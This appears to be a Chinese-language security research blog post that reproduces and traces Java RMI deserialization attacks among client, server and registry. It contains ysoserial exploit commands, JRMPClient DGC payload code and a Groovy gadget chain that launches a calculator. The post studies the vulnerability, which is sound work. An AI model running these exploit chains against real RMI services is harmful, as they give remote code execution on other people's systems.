添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
相关文章推荐
善良的四季豆  ·  NSURLErrorDomain ...·  5 月前    · 
冲动的香槟  ·  Getting issue in ...·  6 月前    · 
不拘小节的口罩  ·  Custom Authorization ...·  6 月前    · 
虚心的牛肉面  ·  js-md5 ...·  10 月前    · 

Demo

目录结构

1
2
3
4
5
6
7
8
9
$ tree
├── HelloInterface.java
├── client
│   └── HelloClient.java
├── reg
│   └── Registry.java
└── server
├── HelloImpl.java
└── HelloServer.java

Registry.java

1
2
3
4
5
6
7
8
9
10
public class Registry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true) ;
}
}

HelloServer.java

1
2
3
4
5
6
7
8
9
10
11
12
public class HelloServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind("hello", new HelloImpl());
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

HelloClient.java

1
2
3
4
5
6
7
8
9
10
11
public class HelloClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloInterface hello = (HelloInterface) registry.lookup("hello");
System.out.println(hello.sayHello("flag"));
} catch (NotBoundException | RemoteException e) {
e.printStackTrace();
}
}
}

互相攻击

参考【1】,下面3个互相能够攻击的原理及调用栈已经讲过了,这里相同部分就不赘述,简要记录下自己的理解

1. 服务端攻击注册中心

一句话逻辑解释:服务端调用bind(name,obj)注册远程对象,其中name,obj会以序列化方式发送给registry,registry反序列化它们,触发boom💣。

  • 启动rmi registry
  • java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections5 "open -a calculator.app"
  • 分析

    registry重要的逻辑在这两个类里面

  • sun.rmi.registry.RegistryImpl_Skel
  • sun.rmi.registry.RegistryImpl_Stub
  • RegistryImpl_Stub

    Stub类功能为:client/server 对registry发起请求,请求类型包括

  • bind(code:0)
  • list(code:1)
  • lookup(code:2)
  • rebind(code:3)
  • unbind(code:4)
  • Server攻击Registry逻辑在这里
    upload successful
    其中var1,var2为bind的参数,会序列化之后发送给registry,由RegistryImpl_Skel dispatch函数处理

    RegistryImpl_Skel

    Skel类功能为:registry处理client/server发过来的请求,逻辑在dispatch内,其中case值对应Stub中不同的code

    很明显的readObject触发

    结论:Server攻击Registry,反序列化触发点在RegistryImpl_Skel$dispatch

    同理,dispatch函数内处理bind/rebind的逻辑也可以触发,不细讲

    2. 注册中心攻击客户端

    参考【1】中对于此处反序列化触发解释有误

    参考【1】的逻辑解释:client执行lookup(name),Stub发起lookup请求,name序列化发送给registry,registry Skel dispatch处理该lookup请求,将查到的obj 序列化之后返回给client,client反序列化obj,触发boom💣。

    这条攻击链路理论上是可以的,不过ysoserial JRMPListener的实现并非如此,而是:

    client Stub底层调用的是StreamRemoteCall.executeCall,executeCall实现时,发包完成,会判断registry的返回包,如果是RMI,判断首字节,如果是2(应该是registry返回异常情况)则直接对余下InputStream进行反序列化,如果是1,退出executeCall逻辑,回到Stub lookup逻辑,进行InputStream的反序列化。

    JRMPClient使用的是executeCall 2的逻辑,在executeCall里面触发反序列化boom💣。而不是 1的逻辑,在Stub中触发反序列化。

    有个调试小疑问,var1调试的时候值与逻辑对不上,可能是代码版本原因,之后再研究。

  • 启动Evil Registry
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a calculator.app"
  • 启动HelloClient
  • 分析

    参考【1】中认为的反序列化触发点在RegistryImpl_Stub$lookup var6.readObject()处,如下

    其实是发生在invoke里面,
    upload successful

    正确的调用栈如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    readObject:150, LazyMap (org.apache.commons.collections.map)
    ...
    cc5链
    ...
    readObject:431, ObjectInputStream (java.io)
    executeCall:252, StreamRemoteCall (sun.rmi.transport)
    invoke:375, UnicastRef (sun.rmi.server)
    lookup:119, RegistryImpl_Stub (sun.rmi.registry)
    main:37, HelloClient (com.m0d9.sec.example.rmi.client)

    Tips:

  • wirteObject 并不会tcp传输马上发送出去,相当与在组装RemoteCall的内容,其后由this.ref.invoke(var2)触发,底层是由StreamRemoteCall.executeCall再进一步调用java.io进行网络传输
  • 3. 客户端攻击注册中心

    客户端攻击注册中心 与 服务端攻击注册中心不同:

    服务端攻击注册中心,通过bind(reg,obj),其中obj是反序列化的,但是客户端lookup(reg,str),str为str,不存在序列化漏洞。

    问题出现在RMI DGC,RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

    一句话逻辑解释:registry 使用LocateRegistry.createRegistry(1099) 创建RMI注册中心,会陆续先后创建RegistryImpl_Skel、DGCImpl_Skel。其中RegistryImpl_Skel就是前文处理bind/lookup请求的逻辑,不多解释,DGCImpl_Skel是处理DGC请求的逻辑。DGC请求有标准的结构参数,也是序列化之后传输。
    攻击流程是:Client连接JRMP连接之后,主动发起DGC请求,registry DGCImpl_Skel处理DGC请求,触发反序列化boom💣。

  • 启动rmi registry
  • java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections5 "open -a calculator.app"
  • 分析

    首先从Attacker Client分析攻击payload

    Attacker Client —— JRMPClient

    JRMPClient 建立与registry的连接,然后发送DGCpayload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    public class JRMPClient {
    public static final void main ( final String[] args ) {
    ...
    Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
    ...
    makeDGCCall(hostname, port, payloadObject);
    ...
    Utils.releasePayload(args[2], payloadObject);
    }

    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
    InetSocketAddress isa = new InetSocketAddress(hostname, port);
    Socket s = null;
    DataOutputStream dos = null;
    try {
    s = SocketFactory.getDefault().createSocket(hostname, port);
    s.setKeepAlive(true);
    s.setTcpNoDelay(true);

    OutputStream os = s.getOutputStream();
    dos = new DataOutputStream(os);

    dos.writeInt(TransportConstants.Magic);
    dos.writeShort(TransportConstants.Version);
    dos.writeByte(TransportConstants.SingleOpProtocol);

    dos.write(TransportConstants.Call);

    @SuppressWarnings ( "resource" )
    final ObjectOutputStream objOut = new MarshalOutputStream(dos);

    objOut.writeLong(2); // DGC
    objOut.writeInt(0);
    objOut.writeLong(0);
    objOut.writeShort(0);

    objOut.writeInt(1); // dirty
    objOut.writeLong(-669196253586618813L);

    objOut.writeObject(payloadObject);

    os.flush();
    }

    其中DGC请求包含两种,dirty请求和clean请求,参考一些DGC的说明,不太好懂,大致了解下

    1
    2
    3
    1、DGC采用引用计数法判断对象已死。
    2、当使用RMI远程调用时;只有当远程对象的本地引用和远程引用同时失效;才会进行垃圾回收。
     当客户端获得远程对象的存根时;会定期向服务器发租约通知;告诉服务器自己持有远程对象的引用了。  
    1
    DGC 抽象用于分布式垃圾回收算法的服务器端。此接口包含了两个方法:dirty 和 clean。当一个远程引用在客户机(客户机由其 VMID 表示)被解组时,则进行一次脏 (dirty) 调用。当客户机上不存任何针对远程引用的更多引用时,则进行一次相应的洁 (clean) 调用。一次失败的脏调用必须安排一次强洁调用,这样调用的序列号才能保持,以检测未来由分布式垃圾回收器接收的无序调用。针对远程对象的引用由保持该引用的客户机租借一段时间。租借期从接收到脏调用时开始。对租借进行续期是客户机的职责,其方式是:在租借期满之前,在客户机保持的远程引用上进行附加的脏调用。如果客户机在期满之前没有对租借进行续期,则分式布垃圾回收器假定远程对象已不再为该客户机所保持。
    Registry

    最终是sun.rmi.transport.DGCImpl_Skel$dispatch触发了readObject反序列化
    upload successful

    调用栈如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    readObject:371, ObjectInputStream (java.io)
    dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
    oldDispatch:410, UnicastServerRef (sun.rmi.server)
    dispatch:268, UnicastServerRef (sun.rmi.server)
    run:200, Transport$1 (sun.rmi.transport)
    run:197, Transport$1 (sun.rmi.transport)
    doPrivileged:-1, AccessController (java.security)
    serviceCall:196, Transport (sun.rmi.transport)
    handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
    run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    run:-1, 1412476470 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
    doPrivileged:-1, AccessController (java.security)
    run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
    run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:745, Thread (java.lang)
    DGCImpl_Skel的产生

    其实跟进到这里就反序列化原理利用点已经找到了,但是有没有好奇RegistryImpl_Skel、DGCImpl_Skel是什么时候产生的?DGC是什么时候加载的?

    有兴趣的可以跟踪下,比较长

    Registry就1行代码 LocateRegistry.createRegistry(1099) ,具体做了什么?

  • java.rmi.registry.LocateRegistry$createRegistry

    1
    2
    3
    public static Registry createRegistry(int port) throws RemoteException {
    return new RegistryImpl(port);
    }
  • sun.rmi.registry.RegistryImpl$RegistryImpl

    1
    2
    3
    4
    5
    6
    7
    AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
    public Void run() throws RemoteException {
    LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
    RegistryImpl.this.setup(new UnicastServerRef(var1x));
    return null;
    }
    }, (AccessControlContext)null, new SocketPermission("localhost:" + var1, "listen,accept"));

    AccessController、PrivilegedExceptionAction可以不用管,大致是权限检测相关,和利用关系不大,重点关注

    1
    2
    LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
    RegistryImpl.this.setup(new UnicastServerRef(var1x));
  • sun.rmi.registry.RegistryImpl$setup

    1
    2
    3
    4
    private void setup(UnicastServerRef var1) throws RemoteException {
    this.ref = var1;
    var1.exportObject(this, (Object)null, true);
    }
  • sun.rmi.server.UnicastServerRef$exportObject

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
    Class var4 = var1.getClass();

    Remote var5;
    try {
    var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
    } catch (IllegalArgumentException var7) {
    throw new ExportException("remote object implements illegal remote interface", var7);
    }

    if (var5 instanceof RemoteStub) {
    this.setSkeleton(var1);
    }

    Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
    this.ref.exportObject(var6);
    this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
    return var5;
    }

    跟进 this.setSkeleton(var1);

  • sun.rmi.server.UnicastServerRef$setSkeleton

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public void setSkeleton(Remote var1) throws RemoteException {
    if (!withoutSkeletons.containsKey(var1.getClass())) {
    try {
    this.skel = Util.createSkeleton(var1);
    } catch (SkeletonNotFoundException var3) {
    withoutSkeletons.put(var1.getClass(), (Object)null);
    }
    }

    }
  • sun.rmi.server.Uitl$createSkeleton

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    static Skeleton createSkeleton(Remote var0) throws SkeletonNotFoundException {
    Class var1;
    try {
    var1 = getRemoteClass(var0.getClass());
    } catch (ClassNotFoundException var8) {
    throw new SkeletonNotFoundException("object does not implement a remote interface: " + var0.getClass().getName());
    }

    String var2 = var1.getName() + "_Skel";

    try {
    Class var3 = Class.forName(var2, false, var1.getClassLoader());
    return (Skeleton)var3.newInstance();
    } catch (ClassNotFoundException var4) {
    throw new SkeletonNotFoundException("Skeleton class not found: " + var2, var4);
    } catch (InstantiationException var5) {
    throw new SkeletonNotFoundException("Can't create skeleton: " + var2, var5);
    } catch (IllegalAccessException var6) {
    throw new SkeletonNotFoundException("No public constructor: " + var2, var6);
    } catch (ClassCastException var7) {
    throw new SkeletonNotFoundException("Skeleton not of correct class: " + var2, var7);
    }
    }

    注意 String var2 = var1.getName() + "_Skel"; , RegistryImpl_Skel就是这么生成的,但是DGCImpl_Skel是什么时候生成的呢?

  • sun.rmi.server.UnicastServerRef$exportObject

    1
    
    
    
    
        
    
    Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
  • sun.rmi.transport.Target$<init>

    1
    this.pinImpl();
  • sun.rmi.transport.Target$pinImpl

    1
    this.weakImpl.pin();
  • sun.rmi.transport.WeakRef$pin

    1
    2
    3
    4
    5
    6
    7
    8
    public synchronized void pin() {
    if (this.strongRef == null) {
    this.strongRef = this.get();
    if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) {
    DGCImpl.dgcLog.log(Log.VERBOSE, "strongRef = " + this.strongRef);
    }
    }
    }

    这里触发了DGCImpl的实例化

    都有反序列化风险

    DGCImpl_Stub

    upload successful

    思考

    参考【1】中仅给出以上的攻击分析,但是从原理图中可以看出客户端、服务端、注册中心,中间都存在反序列化行为,理论上都可以相互攻击,为什么没有:

  • 注册中心攻击服务端
  • 服务端和客户端的相互攻击
  • 4. 注册中心攻击服务端

    和注册中心攻击客户端类似,都是StreamRemoteCall.executeCall case 2利用链路

    一句话解释:Server Stub底层调用的是StreamRemoteCall.executeCall,executeCall实现时,发包完成,会判断registry的返回包,如果是RMI,判断首字节,如果是2(应该是registry返回异常情况)则直接对余下InputStream进行反序列化,如果是1,退出executeCall逻辑,回到Stub lookup逻辑,进行InputStream的反序列化。

  • java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a calculator.app"
  • 启动HelloServer
  • 分析

    代码位置sun.rmi.registry.RegistryImpl_Stub#bind,sun.rmi.registry.RegistryImpl_Stub#lookup类似,不多解释

    5. 客户端攻击服务端

    一句话解释:RMI服务端会对RMI客户端传递过来的参数进行反序列化,触发boom💣。

  • 启动HelloServer
  • 更改HelloInterface.java,参数改为Object
  • 1
    public String sayHello(Object from) throws java.rmi.RemoteException;
  • 启动EvilHelloClient
  • 直接将反序列化的object作为参数调用远程rmi服务

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
             Registry registry = LocateRegistry.getRegistry(1099);
    HelloInterface hello = (HelloInterface) registry.lookup("hello");
    // groovy 利用链
    String command = "open -a calculator.app";
    MethodClosure methodClosure = new MethodClosure(command,"execute");
    final ConvertedClosure closure = new ConvertedClosure(methodClosure,"entrySet");

    Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
    allInterfaces[0] = Map.class;
    Object o = Proxy.newProxyInstance(HelloClient.class.getClassLoader(), allInterfaces, closure);
    final Map map = Map.class.cast(o);

    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Retention.class, map);
    String ret2 = hello.poc(instance);
    System.out.println(ret2);

    分析

    HelloServer端HelloInterface sayHello参数原为string类型,并不影响,这里EvilHelloClient更新本地HelloInterface sayHello参数为object,可以攻击成功,并不受Server端参数类型影响。

    流传的有通过字节码或者rasp动态更改参数类型的,这里不深入研究,参考中有相关文章。

    6. 服务端攻击客户端

    一句话解释:RMI客户端会对RMI服务端返回的非type.isPrimitive的返回结果进行反序列化,触发boom💣。

  • 更新HelloInterface.java,参数改为Object
  • 1
    public String sayHello(Object from) throws java.rmi.RemoteException;
  • 更新Client sayHello和Server sayHello

  • 启动Server

  • 启动Client

    分析

    但是HelloInterface.java sayHello 函数返回类型为 string、int、boolean之类时不会触发,应该是会根据返回类型去序列化返回值。

    参考【3】type.isPrimitive false的都可以
    upload successful

    7. RMI+JNDI 攻击client

    以上都是基于反序列化进行攻击,除此之外,还有通过RMI+JDNI 加载远程类来攻击client的方式。(需要client使用InitialContext,Registry类实例lookup)

    原理为:在远程恶意类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,client加载时会执行这部分代码。

    此处稍微提及,后续再细讲

    小结

    本节内容参考【1】前部分,复现了java rmi 客户端、服务端、注册中心三者间相互攻击,并追踪了漏洞产生原因、java调用栈。补充完善了服务端、客户端之间的相互攻击。
    参考【1】后部分中提及的JEP290限制,通过反序列化互相攻击有了一定限制。通过JNDI+RMI攻击client也在JDK 6u132, JDK 7u122, JDK 8u113之后有了限制。但是都存在一些绕过方式,留待之后再跟进分析。

  • [1] JAVA RMI 反序列化知识详解
  • [2] 飞花堂 - 青衣十三楼
  • [3] 浅谈Java RMI Registry安全问题
    1. 1. RMI
    2. 2. Demo
    3. 3. 互相攻击
      1. 3.1. 1. 服务端攻击注册中心
        1. 3.1.1. 复现
        2. 3.1.2. 分析
          1. 3.1.2.1. RegistryImpl_Stub
          2. 3.1.2.2. RegistryImpl_Skel
      2. 3.2. 2. 注册中心攻击客户端
        1. 3.2.1. 复现
        2. 3.2.2. 分析
      3. 3.3. 3. 客户端攻击注册中心
        1. 3.3.1. 复现
        2. 3.3.2. 分析
          1. 3.3.2.1. Attacker Client —— JRMPClient
          2. 3.3.2.2. Registry
          3. 3.3.2.3. DGCImpl_Skel的产生
          4. 3.3.2.4. DGCImpl_Skel
          5. 3.3.2.5. DGCImpl_Stub
      4. 3.4. 思考
      5. 3.5. 4. 注册中心攻击服务端
        1. 3.5.1. 复现
        2. 3.5.2. 分析
      6. 3.6. 5. 客户端攻击服务端
        1. 3.6.1. 复现
        2. 3.6.2. 分析
      7. 3.7. 6. 服务端攻击客户端
        1. 3.7.1. 复现
        2. 3.7.2. 分析
      8. 3.8. 7. RMI+JNDI 攻击client
    4. 4. 小结
    5. 5. 参考
    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录(注意不是yilia根目录)执行以下命令:
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置: jsonContent: meta: false pages: false posts: title: true date: true path: true text: false raw: false content: false slug: false updated: false comments: false link: false permalink: false excerpt: false categories: false tags: true